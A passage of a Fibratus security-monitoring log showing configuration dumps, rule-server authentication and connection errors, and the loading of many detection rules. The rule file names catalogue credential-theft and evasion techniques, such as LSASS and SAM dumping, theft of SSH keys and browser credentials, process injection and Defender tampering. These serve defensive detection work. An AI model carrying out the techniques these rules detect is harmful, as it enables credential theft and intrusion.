vhost=>/ url=>amqp://localhost:5672 enabled=>false exchange-type=>topic timeout=>5s exchange=>fibratus passive=>false durable=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false flush-period=>1s timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false bulk-workers=>1]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false skip-files=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:173 +time=2025-11-06T23:36:30+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-11-06T23:36:30+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.186231571s... source=client/rulestore.go:66 +time=2025-11-06T23:36:32+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 3.147135407s... source=client/rulestore.go:66 +time=2025-11-06T23:36:35+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 2.831771071s... source=client/rulestore.go:66 +time=2025-11-06T23:36:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-11-06T23:37:43+01:00 level=info msg=bootstrapping with pid 7860. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-11-06T23:37:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-mem=>false stack-enrichment=>true flush-interval=>1s enable-net=>true enable-fileio=>true enable-thread=>true min-buffers=>16 max-buffers=>36 enable-registry=>true enable-vamap=>true enable-dns=>false enable-threadpool=>false enable-image=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-backups=>15 formatter=>text level=>info max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 healthcheck-interval=>10s trace-log=>false healthcheck=>true enabled=>false flush-period=>1s] amqp=>[ exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false durable=>false enabled=>false vhost=>/ passive=>false delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ timeout=>5s serializer=>json enable-gzip=>false method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-allocs=>false fastscan=>true excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:173 +time=2025-11-06T23:37:43+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-11-06T23:37:43+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.227687724s... source=client/rulestore.go:66 +time=2025-11-06T23:37:44+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 2.692419044s... source=client/rulestore.go:66 +time=2025-11-06T23:37:46+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 7.492431527s... source=client/rulestore.go:66 +time=2025-11-06T23:37:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-11-06T23:39:14+01:00 level=info msg=bootstrapping with pid 15572. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-11-06T23:39:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] use-template=>true content-type=>text/html enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-registry=>true enable-thread=>true enable-handle=>false enable-vamap=>true enable-dns=>false max-buffers=>36 min-buffers=>16 enable-net=>true enable-fileio=>true enable-audit-api=>true stack-enrichment=>true enable-image=>true enable-mem=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true level=>info formatter=>text] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient durable=>false vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus timeout=>5s enabled=>false passive=>false] http=>[ serializer=>json enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false] elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s enabled=>false healthcheck=>true template-name=>fibratus trace-log=>false gzip-compression=>false sniff=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-files=>[] fastscan=>true skip-registry=>false enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:173 +time=2025-11-06T23:39:14+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-11-06T23:39:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:213 +time=2025-11-06T23:39:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T23:39:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T23:39:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-11-06T23:39:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T23:39:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-09T17:39:01+01:00 level=info msg=bootstrapping with pid 7840. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-11-09T17:39:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false enable-fileio=>true enable-mem=>false enable-thread=>true min-buffers=>16 enable-audit-api=>true enable-registry=>true max-buffers=>36 enable-image=>true enable-vamap=>true flush-interval=>1s stack-enrichment=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-net=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 formatter=>text max-backups=>15 max-age=>0] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json enabled=>false method=>POST timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ durable=>false exchange-type=>topic routing-key=>fibratus passive=>false timeout=>5s enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient] elasticsearch=>[ sniff=>false enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s timeout=>5s]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-files=>false skip-mmaps=>false fastscan=>true excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:173 +time=2025-11-09T17:39:01+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-11-09T17:39:01+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it.". Retrying in 1.185539565s... source=client/rulestore.go:66 +time=2025-11-09T17:39:01+01:00 level=error msg=rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it." source=rules/loader.go:151 +time=2025-11-09T17:39:02+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it.". Retrying in 2.605759447s... source=client/rulestore.go:66 +time=2025-11-09T17:39:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-11-09T17:40:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_protected_process_spawned.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-09T17:40:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-09T17:40:49+01:00 level=info msg=bootstrapping with pid 16148. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-09T17:40:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-vamap=>true enable-net=>true stack-enrichment=>true enable-image=>true max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-thread=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true enable-fileio=>true enable-dns=>false enable-registry=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 